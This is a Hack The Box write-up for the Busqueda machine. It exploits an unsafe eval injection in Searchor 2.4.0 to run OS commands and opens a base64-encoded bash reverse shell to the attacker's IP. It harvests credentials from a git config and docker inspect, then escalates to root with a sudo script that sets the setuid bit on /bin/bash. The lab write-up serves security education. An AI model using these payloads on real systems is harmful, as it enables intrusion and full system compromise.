Busqueda | Write Up | Hack The Box
Introduction
Busqueda is an Easy Hack The Box Machine released on 9 April 2023 as part of the new Weekly Seasonal Machines. This is a short but concise write up for it. The machine can be found over at https://app.hackthebox.com/machines/Busqueda.
This is a pretty simple machine which requires some knowledge of Python, Git and Docker
Enumeration
NMAP
nmap -vv --open -Pn -T4 -sV -sC -sS -oA busqueda_nmap busqueda.htb
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
| 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Running NMAP we see that SSH and HTTP ports are open.
WEB 80
Checking out the website on port 80 with curl, we are redirected to searcher.htb
so we add that to our hosts file
# curl busqueda.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://searcher.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at busqueda.htb Port 80</address>
</body></html>
Visiting searcher.htb we see the following
In the source code: We see that it is an application called searchor and uses flask
<p class="copyright">Powered by
<a style="color:black" target="_blank" href="https://flask.palletsprojects.com">Flask</a>
and
<a style="color:black" target="_blank" href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a>
</p>
It also comes with a Github link to the project over at https://github.com/ArjunSharda/Searchor, how convenient
Looking at the releases and changelog, we see that a vulnerability was fixed in version v2.4.2
We hazard a guess that it is probably a classic unsafe eval vulnerability (that fits easy level machines or CTF challenges) and we check out the patch. As it turns out, we were right
Checking out the source code, the copy_url
and open_web
variables are not required for the function call as they have defaut values. We try to modify the engine post variable in the form submission but it seems like there is a check for valid engines in the flask application so we are left with the query variable.
Exploiting unsafe eval
Trying out test')#
as the query, we have something like the following
eval(
Engine.Google.search('test')#', copy_url={copy}, open_web={open}
)
Note how the part after the #
is treated as a comment by our eval, we should expect a url with test as the query string as follows
https://www.google.com/search?q=test
Trying out test', exec(print("INSERT PAYLOAD")))#
,we get INSERT PAYLOAD
back which means we now have code execution.
Now we need to have some way to call os.system
with our reverse shell code. Thankfully, hacktricks has a page on that at https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
We can import the os module and run system commands using
__import__("os").system("id")
Replacing the print command with the previous line returns us
uid=1000(svc) gid=1000(svc) groups=1000(svc)
Changing to a reverse shell payload as follows
bash -i >& /dev/tcp/10.10.14.36/80 0>&1
we then base64 encode it just in case
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi84MCAwPiYx | base64 -d | bash
Finally we replace the id
command with the above. Before submitting the form, we start a nc listener on port 80 of our attacker machine
svc
User shell
svc@busqueda:/var/www/app$ id && whoami
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc
svc@busqueda:/var/www/app$ cd ~
svc@busqueda:~$ ls
user.txt
svc@busqueda:~$ wc -c user.txt
33 user.txt
svc@busqueda:~$
Further enumeration
Looking inside the web application folder /var/www/app
we see a .git
folder.
First off, we need to add the following git config safe.directory value with
git config --global --add safe.directory /var/www/app
Listing all the config values we see what seems to be credentials in the remote.origin.url
line
svc@busqueda:/var/www/app$ ls -lah
total 20K
drwxr-xr-x 4 www-data www-data 4.0K Apr 3 14:32 .
drwxr-xr-x 4 root root 4.0K Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 12 06:51 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 templates
svc@busqueda:/var/www/app$ git config -l
[email protected]
user.name=cody
core.hookspath=no-hooks
safe.directory=/var/www/app
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://cody:jh1usoih2bkj*******@gitea.searcher.htb/cody/Searcher_site.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main
We also have a new subdomain we can add to our hosts file: gitea.searcher.htb
When we visit gitea.searcher.htb, we see its running Gitea 1.18.0
We can login as cody with the password but nothing seems to be there.
Seeing that cody is the git user used to make commits. It could be the case that svc is just a user made for the web application.
Trying out cody's Gitea password to SSH in, we realise that there is password reuse
SSH as svc
Checking for commands we can run as sudo, we see a python script
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Running the command with sudo root
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
It seems that we can run docker ps as well as docker inspect along with a full checkup function
Docker inspect allows us to view the running config of the container which might be the next way forward
Viewing running docker containers
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
We have two containers running, gitea as well as mysql
Inspecting docker containers
From the documentation at https://docs.docker.com/engine/reference/commandline/inspect/#get-a-subsection-in-json-format
We can get a json dump of the config subsection using the following by setting --format='{{json .Config}}'
Trying it on the Gitea container, we get the config dumped as json, and we get the gitea db user credentials in the GITEA__database__USER
and GITEA__database__PASSWD
variable.
svc@busqueda:/var/www/app$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu********","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"[email protected]","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
Seeing that there was a case of password reuse previously. We try the password for the administrator
user in the gitea site and manage to login.
We see a repository called scripts and inside we see a few scripts, including the source code for system-checkup.py
For the full checkup option we see this code snippet
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
Privilege Escalation
It seems like we can run any shell code as long as we can create a shell script named full-checkup.sh
and then running the sudo command in the directory.
Creating full-checkup.sh
in /home/svc
with the following contents
#!/bin/bash
chmod +s /bin/bash
After making it executable, if our script is succesful, bash will have the setuid bit set which allows us to run bash as root later on
svc@busqueda:~$ ls -lah /bin/bash
-rwxr-xr-x 1 root root 1.4M Jan 6 2022 /bin/bash
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.4M Jan 6 2022 /bin/bash
We are successful!
ROOT shell
svc@busqueda:~$ bash -lip
bash-5.1# whoami
root
bash-5.1# cd root
bash-5.1# ls
ecosystem.config.js root.txt scripts snap
bash-5.1# cat root.txt
5e5deebb4c03af0a1***************
FIN
This machine may not be that easy if one does not have prior knowledge of Python, Git or Docker. However, the roadblocks can be easily overcome with some trial and error as well as Googling for answers.
Thats the end of the writeup for the easy HTB machine Busqueda, hope you like it!